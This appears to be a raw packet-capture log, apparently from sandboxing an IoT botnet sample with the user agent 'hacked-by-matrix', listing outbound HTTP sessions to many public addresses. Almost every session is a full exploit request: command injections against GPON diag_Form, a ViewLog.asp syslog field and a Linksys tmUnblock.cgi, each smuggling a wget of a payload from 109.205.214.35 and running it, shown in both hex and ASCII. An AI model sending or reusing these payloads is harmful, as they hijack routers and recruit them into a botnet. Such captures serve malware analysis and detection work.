Mar 21, 2024 05:18:33.915951967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1165	192.168.2.13	54470	94.41.79.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.915983915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1166	192.168.2.13	47052	118.144.102.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.916017056 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1167	192.168.2.13	41210	94.166.251.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.916049004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1168	192.168.2.13	48992	118.209.168.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.916049957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1169	192.168.2.13	53766	118.16.110.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.916088104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1170	192.168.2.13	37144	37.60.46.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.916121960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1171	192.168.2.13	37324	94.156.52.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.916158915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1172	192.168.2.13	38758	212.73.106.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.939851046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1173	192.168.2.13	54580	178.42.103.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.939883947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.13	51352	94.153.161.153	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.939883947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.13	56992	118.132.187.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.939951897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.13	37936	94.66.125.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.940046072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.13	46224	94.204.141.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.940068007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.13	39972	118.38.230.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.940088987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.13	37600	178.47.90.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.940090895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.13	36054	37.73.146.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.940241098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.13	50070	2.217.68.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:33.940241098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.13	34622	178.231.164.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.043196917 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:34.683222055 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.13	41532	147.182.164.231	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.845141888 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:34.934525013 CET	179	IN	HTTP/1.1 400 No Host matches server name 127.0.0.1 Transfer-Encoding: chunked Date: Thu, 21 Mar 2024 04:18:34 GMT Connection: close Server: ELaudos Server Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.13	34320	178.255.200.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.939359903 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.13	57968	118.143.184.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:34.939369917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.13	53006	212.159.208.115	443

Timestamp	Bytes transferred	Direction	Data
